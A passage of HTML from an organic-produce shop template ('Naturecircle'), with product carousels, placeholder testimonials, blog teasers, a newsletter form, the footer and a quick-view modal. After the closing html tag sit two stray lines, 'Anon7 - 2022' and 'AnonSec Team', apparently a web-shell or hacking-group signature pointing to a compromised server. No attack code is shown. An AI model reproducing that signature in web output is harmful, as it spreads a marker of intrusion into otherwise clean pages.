                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/9.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Cucumber</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$32.00</span> 
                                                <span class="old-price">$36.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/6.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Medium Coconut</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$54.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/14.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Onion</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$34.00</span> 
                                                <span class="old-price">$35.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                </div>
                                <div class="single-featured-carousel">
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/12.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Strawberry Juice</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$53.43</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/1.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Large Grapes</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$55.00</span> 
                                                <span class="old-price">$57.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/2.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Banana</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$65.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/3.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Red Capsicum</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$54.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                </div>
                                <div class="single-featured-carousel">                                    
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/18.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Vegetables</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$43.00</span> 
                                                <span class="old-price">$58.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/19.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                            </div>
                                            <h5><a href="shop.html">Red Tomato</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$67.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/10.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                            </div>
                                            <h5><a href="shop.html">Juicy Grapes</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$64.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/12.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Farm Fresh Juice</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$54.54</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- Featured Area End -->
        <!-- Testimonial Area Start -->
        <div class="testimonial-area pt-110 pb-95">
            <div class="container">
                <div class="testimonial-slider-wrapper">
                    <div class="text-carousel text-center">
                        <div class="slider-text">
                            <span class="testi-quote">
                                <img src="assets/img/icon/quote.png" alt="">
                            </span>
                            <p>This is Photoshops version  of Lorem Ipsum. Proin gravida nibh vel velit.Lorem ipsum dolor sit amet, consectetur adipiscing elit. In molestie augue magna. Pellentesque felis lorem, pulvinar sed ero..</p>
                        </div>
                        <div class="slider-text">
                            <span class="testi-quote">
                                <img src="assets/img/icon/quote.png" alt="">
                            </span>
                            <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Reprehenderit tenetur rerum maiores eos fugit dolores neque eius ex eum quo, quis aspernatur odio accusantium architecto, amet repellat.</p>
                        </div>
                        <div class="slider-text">
                            <span class="testi-quote">
                                <img src="assets/img/icon/quote.png" alt="">
                            </span>
                            <p>Reprehenderit tenetur rerum maiores eos fugit dolores neque eius ex eum quo, quis aspernatur odio accusantium architecto, amet repellat Lorem ipsum dolor sit amet, consectetur adipisicing elit.</p>
                        </div>
                        <div class="slider-text">
                            <span class="testi-quote">
                                <img src="assets/img/icon/quote.png" alt="">
                            </span>
                            <p>This is Photoshops version  of Lorem Ipsum. Proin gravida nibh vel velit.Lorem ipsum dolor sit amet, consectetur adipiscing elit. In molestie augue magna. Pellentesque felis lorem, pulvinar sed ero..</p>
                        </div>
                        <div class="slider-text">
                            <span class="testi-quote">
                                <img src="assets/img/icon/quote.png" alt="">
                            </span>
                            <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Reprehenderit tenetur rerum maiores eos fugit dolores neque eius ex eum quo, quis aspernatur odio accusantium architecto, amet repellat.</p>
                        </div>
                        <div class="slider-text">
                            <span class="testi-quote">
                                <img src="assets/img/icon/quote.png" alt="">
                            </span>
                            <p>Reprehenderit tenetur rerum maiores eos fugit dolores neque eius ex eum quo, quis aspernatur odio accusantium architecto, amet repellat Lorem ipsum dolor sit amet, consectetur adipisicing elit.</p>
                        </div>
                    </div>
                    <div class="image-carousel">
                        <div class="testi-img">
                            <img src="assets/img/testimonial/1.png" alt="">
                            <h4>Dewey Tetzlaff</h4>
                        </div>
                        <div class="testi-img">
                            <img src="assets/img/testimonial/2.png" alt="">
                            <h4>Rebecka Filson</h4>
                        </div>
                        <div class="testi-img">
                            <img src="assets/img/testimonial/3.png" alt="">
                            <h4>Alva Ono</h4>
                        </div>
                        <div class="testi-img">
                            <img src="assets/img/testimonial/1.png" alt="">
                            <h4>Dewey Tetzlaff</h4>
                        </div>
                        <div class="testi-img">
                            <img src="assets/img/testimonial/2.png" alt="">
                            <h4>Rebecka Filson</h4>
                        </div>
                        <div class="testi-img">
                            <img src="assets/img/testimonial/3.png" alt="">
                            <h4>Alva Ono</h4>
                        </div>
                    </div>
                </div> 
            </div>
        </div>
        <!-- Testimonial Area End -->
        <!-- Blog Area Start -->
        <div class="blog-area pb-95">
            <div class="container">
                <div class="section-title text-center mb-50">
                    <div class="section-img d-flex justify-content-center">
                        <img src="assets/img/icon/title.png" alt="">
                    </div>
                    <h2><span>Organic </span>from our blog</h2>
                </div>
            </div>
            <div class="container">
                <div class="custom-row">
                    <div class="blog-carousel">
                        <div class="custom-col text-center">
                            <div class="single-blog">
                                <div class="blog-image">
                                    <a href="blog-details.html"><img src="assets/img/blog/1.jpg" alt=""></a>
                                </div>
                                <div class="blog-text">
                                    <h4><a href="blog-details.html">Coconut improve heart and immunity.</a></h4>
                                    <div class="post-meta">
                                        <span class="author-name">post by: <span>Naturecircle Themes</span></span>
                                        <span class="post-date"> - Oct 30,2018</span>
                                    </div>
                                    <p>Coconut milk is one of the healthiest foods on world, health benefits of coconut milk make it quite popular.</p>
                                    <a href="blog-details.html" class="default-btn">Read more</a>
                                </div>
                            </div>
                        </div>
                        <div class="custom-col text-center">
                            <div class="single-blog">
                                <div class="blog-image">
                                    <a href="blog-details.html"><img src="assets/img/blog/2.jpg" alt=""></a>
                                </div>
                                <div class="blog-text">
                                    <h4><a href="blog-details.html">The most healthful food you can eat.</a></h4>
                                    <div class="post-meta">
                                        <span class="author-name">post by: <span>Naturecircle Themes</span></span>
                                        <span class="post-date"> - Sep 11,2018</span>
                                    </div>
                                    <p>Health benefits of apple include improved digestion, prevention of stomach disorders, gallstones.</p>
                                    <a href="blog-details.html" class="default-btn">Read more</a>
                                </div>
                            </div>
                        </div>
                        <div class="custom-col text-center">
                            <div class="single-blog">
                                <div class="blog-image">
                                    <a href="blog-details.html"><img src="assets/img/blog/3.jpg" alt=""></a>
                                </div>
                                <div class="blog-text">
                                    <h4><a href="blog-details.html">Delicious and nutritious vegetable.</a></h4>
                                    <div class="post-meta">
                                        <span class="author-name">post by: <span>Naturecircle Themes</span></span>
                                        <span class="post-date"> - Apr 22,2018</span>
                                    </div>
                                    <p>Research shows drinking beetroot juice benefit digestion, boost athletic performance. They are a good source.</p>
                                    <a href="blog-details.html" class="default-btn">Read more</a>
                                </div>
                            </div>
                        </div>
                        <div class="custom-col text-center">
                            <div class="single-blog">
                                <div class="blog-image">
                                    <a href="blog-details.html"><img src="assets/img/blog/1.jpg" alt=""></a>
                                </div>
                                <div class="blog-text">
                                    <h4><a href="blog-details.html">Coconut improve heart and immunity.</a></h4>
                                    <div class="post-meta">
                                        <span class="author-name">post by: <span>Naturecircle Themes</span></span>
                                        <span class="post-date"> - Oct 30,2018</span>
                                    </div>
                                    <p>Coconut milk is one of the healthiest foods on world, health benefits of coconut milk make it quite popular.</p>
                                    <a href="blog-details.html" class="default-btn">Read more</a>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- Blog Area End -->
        <!-- Footer Area Start -->
        <footer class="footer-area">
            <!-- Footer Top Area Start -->
            <div class="footer-top bg-4 pt-120 pb-120">
                <!-- Newsletter Area Start -->
                    <div class="newsletter-area">
                        <div class="container text-center">
                            <div class="newsletter-container">
                                <h2>Subscribe Newsletter.</h2>
                                <p>Get e-mail updates about our latest shop and special offers.</p>
                                <div class="newsletter-form mc_embed_signup">
                                    <form action="#" method="post" id="mc-embedded-subscribe-form" name="mc-embedded-subscribe-form" class="validate" target="_blank" novalidate>
                                        <div id="mc_embed_signup_scroll" class="mc-form">
                                            <input type="email" value="" name="EMAIL" class="email" id="mce-EMAIL" placeholder="Enter you email address here..." required>
                                            <!-- real people should not fill this in and expect good things - do not remove this or risk form bot signups-->
                                            <div class="mc-news" aria-hidden="true"><input type="text" name="b_6bbb9b6f5827bd842d9640c82_05d85f18ef" tabindex="-1" value=""></div>
                                            <button id="mc-embedded-subscribe" type="submit" name="subscribe" class="default-btn">Subscribe</button>
                                        </div>
                                    </form>
                                </div>
                            </div>
                            <div class="social-icon">
                                <a href="#"><i class="fa fa-twitter"></i></a>
                                <a href="#"><i class="fa fa-google-plus"></i></a>
                                <a href="#"><i class="fa fa-facebook"></i></a>
                                <a href="#"><i class="fa fa-youtube"></i></a>
                                <a href="#"><i class="fa fa-flickr"></i></a>
                            </div>
                        </div>
                    </div>
                <!-- Newsletter Area End -->
                <!-- Service Area Start -->
                <div class="service-area pt-50">
                    <div class="container">
                        <div class="service-container">
                            <div class="service-content">
                                <div class="row">
                                    <div class="col-lg-4 col-md-4">
                                        <div class="single-service">
                                            <div class="service-image">
                                                <img src="assets/img/icon/rocket.png" alt="">
                                            </div>
                                            <div class="service-text">
                                                <h3>Free delivery</h3>
                                                <p>Nam liber tempor cum soluta nobis eleifend option congue.</p>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="col-lg-4 col-md-4">
                                        <div class="single-service">
                                            <div class="service-image">
                                                <img src="assets/img/icon/money.png" alt="">
                                            </div>
                                            <div class="service-text">
                                                <h3>Money guarantee</h3>
                                                <p>Nam liber tempor cum soluta nobis eleifend option congue.</p>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="col-lg-4 col-md-4">
                                        <div class="single-service">
                                            <div class="service-image">
                                                <img src="assets/img/icon/support.png" alt="">
                                            </div>
                                            <div class="service-text">
                                                <h3>Online support</h3>
                                                <p>Nam liber tempor cum soluta nobis eleifend option congue.</p>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <!-- Service Area End -->
                <!-- Footer Widget Area Start -->
                <div class="footer-widget-area">
                    <div class="container">
                        <div class="row">
                            <div class="col-lg-4 col-md-6">
                                <div class="single-footer-widget">
                                    <div class="footer-logo">
                                        <a href="#"><img src="assets/img/logo/logo.png" alt=""></a>
                                    </div>
                                    <p>Claritas est etiam processus dynamicus, qui sequitur mutationem consuetudium lectorum.</p>
                                    <div class="footer-text">
                                        <span><i class="icon icon-Pointer"></i>Address : No 40 Baria Sreet 133/2, NewYork, USA.</span>
                                        <span><i class="icon icon-Phone"></i>Phone : +(1234) 567 890</span>
                                        <span><i class="icon icon-Mail"></i>Email : demo@naturecircle.com</span>
                                    </div>
                                </div>
                            </div>
                            <div class="col-lg-2 col-md-3">
                                <div class="single-footer-widget">
                                    <h3>Products</h3>
                                    <ul class="footer-widget-list">
                                        <li><a href="shop.html">Prices drop</a></li>
                                        <li><a href="shop.html">New products</a></li>
                                        <li><a href="shop.html">Best sales</a></li>
                                        <li><a href="shop.html">Stores</a></li>
                                        <li><a href="#">Login</a></li>
                                        <li><a href="#">My Account</a></li>
                                    </ul>
                                </div>
                            </div>
                            <div class="col-lg-2 col-md-3">
                                <div class="single-footer-widget">
                                    <h3>Our company</h3>
                                    <ul class="footer-widget-list">
                                        <li><a href="#">Delivery</a></li>
                                        <li><a href="#">Legal Notice</a></li>
                                        <li><a href="#">Documentation</a></li>
                                        <li><a href="#">Secure payment</a></li>
                                        <li><a href="contact.html">Contact us</a></li>
                                        <li><a href="shop.html">Stores</a></li>
                                    </ul>
                                </div>
                            </div>
                            <div class="col-lg-4">
                                <div class="single-footer-widget">
                                    <h3>Instagram</h3>
                                    <div class="instagram-image">
                                        <div class="single-insta-img">
                                            <a href="#"><img src="assets/img/instagram/1.jpg" alt=""></a>
                                        </div>
                                        <div class="single-insta-img">
                                            <a href="#"><img src="assets/img/instagram/2.jpg" alt=""></a>
                                        </div>
                                        <div class="single-insta-img">
                                            <a href="#"><img src="assets/img/instagram/3.jpg" alt=""></a>
                                        </div>
                                        <div class="single-insta-img">
                                            <a href="#"><img src="assets/img/instagram/4.jpg" alt=""></a>
                                        </div>
                                        <div class="single-insta-img">
                                            <a href="#"><img src="assets/img/instagram/5.jpg" alt=""></a>
                                        </div>
                                        <div class="single-insta-img">
                                            <a href="#"><img src="assets/img/instagram/6.jpg" alt=""></a>
                                        </div>
                                        <div class="single-insta-img">
                                            <a href="#"><img src="assets/img/instagram/7.jpg" alt=""></a>
                                        </div>
                                        <div class="single-insta-img">
                                            <a href="#"><img src="assets/img/instagram/8.jpg" alt=""></a>
                                        </div>
                                    </div>
                                    <a href="#">Follow our instagram <i class="fa fa-angle-double-right"></i></a>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <!-- Footer Widget Area End -->
            </div>
            <!-- Footer Top Area End -->
            <!-- Footer Bottom Area Start -->
            <div class="footer-bottom-area pt-15 pb-30">
                <div class="container">
                    <div class="row">
                        <div class="col-lg-6 d-flex col-md-6">
                            <div class="footer-text-bottom">
                                <p>Copyright &copy; <a href="#">Naturecircle</a>. All Rights Reserved</p>
                            </div>
                        </div>
                        <div class="col-lg-6 col-md-6">
                            <div class="payment-img d-flex justify-content-end">
                                <img src="assets/img/payment.png" alt="">
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <!-- Footer Bottom Area End -->
        </footer>
        <!-- Footer Area End -->
        
        <!-- QUICKVIEW PRODUCT -->
        <div class="modal fade" id="productModal" tabindex="-1" role="dialog">
            <div class="modal-dialog" role="document">
                <div class="modal-content">
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true"><i class="fa fa-times"></i></span></button>
                    <div class="quick-view-container">
                        <div class="column-left">
                            <div class="tab-content product-details-large" id="myTabContent">
                                <div class="tab-pane fade show active" id="single-slide1" role="tabpanel" aria-labelledby="single-slide-tab-1">
                                    <div class="single-product-img">
                                        <img src="assets/img/product/1.jpg" alt="">
                                    </div>
                                </div>
                                <div class="tab-pane fade" id="single-slide2" role="tabpanel" aria-labelledby="single-slide-tab-2">
                                    <div class="single-product-img">
                                        <img src="assets/img/product/2.jpg" alt="">
                                    </div>
                                </div>
                                <div class="tab-pane fade" id="single-slide3" role="tabpanel" aria-labelledby="single-slide-tab-3">
                                    <div class="single-product-img">
                                        <img src="assets/img/product/3.jpg" alt="">
                                    </div>
                                </div>
                                <div class="tab-pane fade" id="single-slide4" role="tabpanel" aria-labelledby="single-slide-tab-4">
                                    <div class="single-product-img">
                                        <img src="assets/img/product/4.jpg" alt="">
                                    </div>
                                </div>
                                <div class="tab-pane fade" id="single-slide5" role="tabpanel" aria-labelledby="single-slide-tab-5">
                                    <div class="single-product-img">
                                        <img src="assets/img/product/5.jpg" alt="">
                                    </div>
                                </div>
                                <div class="tab-pane fade" id="single-slide6" role="tabpanel" aria-labelledby="single-slide-tab-6">
                                    <div class="single-product-img">
                                        <img src="assets/img/product/6.jpg" alt="">
                                    </div>
                                </div>
                            </div>
                            <div class="single-product-menu">
                                <div class="nav single-slide-menu" role="tablist">
                                    <div class="single-tab-menu">
                                        <a class="active" data-toggle="tab" id="single-slide-tab-1" href="#single-slide1"><img src="assets/img/product/1.jpg" alt=""></a>
                                    </div>
                                    <div class="single-tab-menu">
                                        <a data-toggle="tab" id="single-slide-tab-2" href="#single-slide2"><img src="assets/img/product/2.jpg" alt=""></a>
                                    </div>
                                    <div class="single-tab-menu">
                                        <a data-toggle="tab" id="single-slide-tab-3" href="#single-slide3"><img src="assets/img/product/3.jpg" alt=""></a>
                                    </div>
                                    <div class="single-tab-menu">
                                        <a data-toggle="tab" id="single-slide-tab-4" href="#single-slide4"><img src="assets/img/product/4.jpg" alt=""></a>
                                    </div>
                                    <div class="single-tab-menu">
                                        <a data-toggle="tab" id="single-slide-tab-5" href="#single-slide5"><img src="assets/img/product/5.jpg" alt=""></a>
                                    </div>
                                    <div class="single-tab-menu">
                                        <a data-toggle="tab" id="single-slide-tab-6" href="#single-slide6"><img src="assets/img/product/6.jpg" alt=""></a>
                                    </div>
                                </div>
                            </div>
                        </div>    
                        <div class="column-right">
                            <div class="quick-view-text">
                                <h2>Curabitur a purus</h2>
                                <h3 class="q-product-price">$34.00<span class="old-price">$37.00</span></h3>
                                <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco,Proin lectus ipsum, gravida et mattis vulputate, tristique ut lectus</p>
                                <div class="input-cart">
                                    <input value="1" type="number">
                                    <button class="default-btn">Add to cart</button>
                                </div>
                                <div class="share-product">
                                    <h4>Share this product</h4>
                                    <div class="social-link">
                                        <a href="#" target="_blank" class="facebook">
                                            <i class="fa fa-facebook"></i>
                                        </a>
                                        <a href="#" target="_blank" class="twitter">
                                            <i class="fa fa-twitter"></i>
                                        </a>
                                        <a href="#" target="_blank" class="pinterest">
                                            <i class="fa fa-pinterest"></i>
                                        </a>
                                        <a href="#" target="_blank" class="google">
                                            <i class="fa fa-google-plus"></i>
                                        </a>
                                        <a href="#" target="_blank" class="linkedin">
                                            <i class="fa fa-linkedin"></i>
                                        </a>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- END QUICKVIEW PRODUCT -->
        
        <!-- All js here -->
        <script src="assets/js/vendor/jquery-3.2.1.min.js"></script>
        <script src="assets/js/popper.min.js"></script>
        <script src="assets/js/bootstrap.min.js"></script>
        <script src="assets/js/plugins.js"></script>
        <script src="assets/js/ajax-mail.js"></script>
        <script src="assets/js/main.js"></script>
    </body>
</html>

Anon7 - 2022
AnonSec Team